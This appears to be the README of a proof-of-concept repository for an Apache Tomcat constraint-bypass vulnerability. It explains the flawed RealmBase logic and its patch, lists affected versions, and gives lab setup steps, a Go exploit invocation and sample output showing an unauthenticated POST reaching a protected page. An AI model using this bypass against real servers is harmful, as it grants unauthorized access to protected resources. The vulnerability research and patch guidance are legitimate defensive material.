
Exploitability PoC for CVE-2026-43515 (Apache Tomcat constraint bypass).
Exploitability verdict: confirmed exploitable. A POST request to a resource protected by a split
<web-resource-collection>configuration bypasses authentication entirely. The requiredweb.xmlshape is uncommon in standard deployments — see Analysis for details.
CVE-2026-43515 is a vulnerability in Apache Tomcat's security constraint
evaluation logic. When a single <security-constraint> defines multiple
<web-resource-collection> blocks that share the same URL extension pattern
(e.g. *.html) but each declare a different HTTP method, Tomcat only enforces
the constraint for the HTTP method declared in the first matching
collection. All subsequent collections are silently ignored.
The administrator's intent:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
What pre-fix Tomcat actually enforces:
GET *.html → 401 — constraint applied ✓POST *.html → 200 — constraint silently dropped ✗| Affected range | Fixed in |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
The bug lives in findSecurityConstraints(Request, Context) in
org.apache.catalina.realm.RealmBase. The matched flag and the pos index
were declared outside the per-collection loop:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
Once collection[0] matched the extension pattern *.html, pos was frozen
to 0. The findMethod("POST") call therefore ran against collection[0]
(which only declares GET) and returned false. No constraint was added to
results for the POST request, and AuthenticatorBase concluded the request
was not subject to any constraint.
The fix (commit 276087d)
moves matched inside the loop and replaces collection[pos] with
collection[j], so every collection is evaluated independently:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
The bypass is confirmed and reproducible. The Tomcat verbose log makes the mechanism unambiguous:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
The vulnerability only triggers under a specific web.xml pattern: a
single <security-constraint> with multiple
<web-resource-collection> blocks sharing the same extension pattern but
declaring different HTTP methods.
This configuration is valid per the Servlet specification but uncommon in practice. Most deployments either:
<http-method> entirely (protecting all methods), or<security-constraint> blocks per methodDeployments that use the split-collection pattern to apply fine-grained per-method access control on extension patterns are exposed.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml # One valid user: validuser:s3cret! / role: admin
├── web.xml # Triggering config: split web-resource-collection
├── logging.properties # FINE-level logging to observe constraint evaluation
└── exploit/
├── exploit.go # PoC — Go
| Tool | Version | Notes |
|---|---|---|
| Podman | ≥ 4.0 | Docker works too |
| Go | ≥ 1.22 | For running the exploit locally |
No external Go dependencies.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Wait a few seconds, then verify:
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Available flags:
| Flag | Default | Description |
|---|---|---|
-target | http://localhost:8080 | Tomcat base URL |
-path | /protected/secret.html | Path of the protected resource |
-username | validuser | Valid username for the sanity check |
-password | s3cret! | Password for the sanity check |
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| Resource | Link |
|---|---|
| Fix commit — 11.0.x | apache/tomcat@276087d |
| Full analysis — blog post | return-zero.dev/posts/cve-2026-43515 |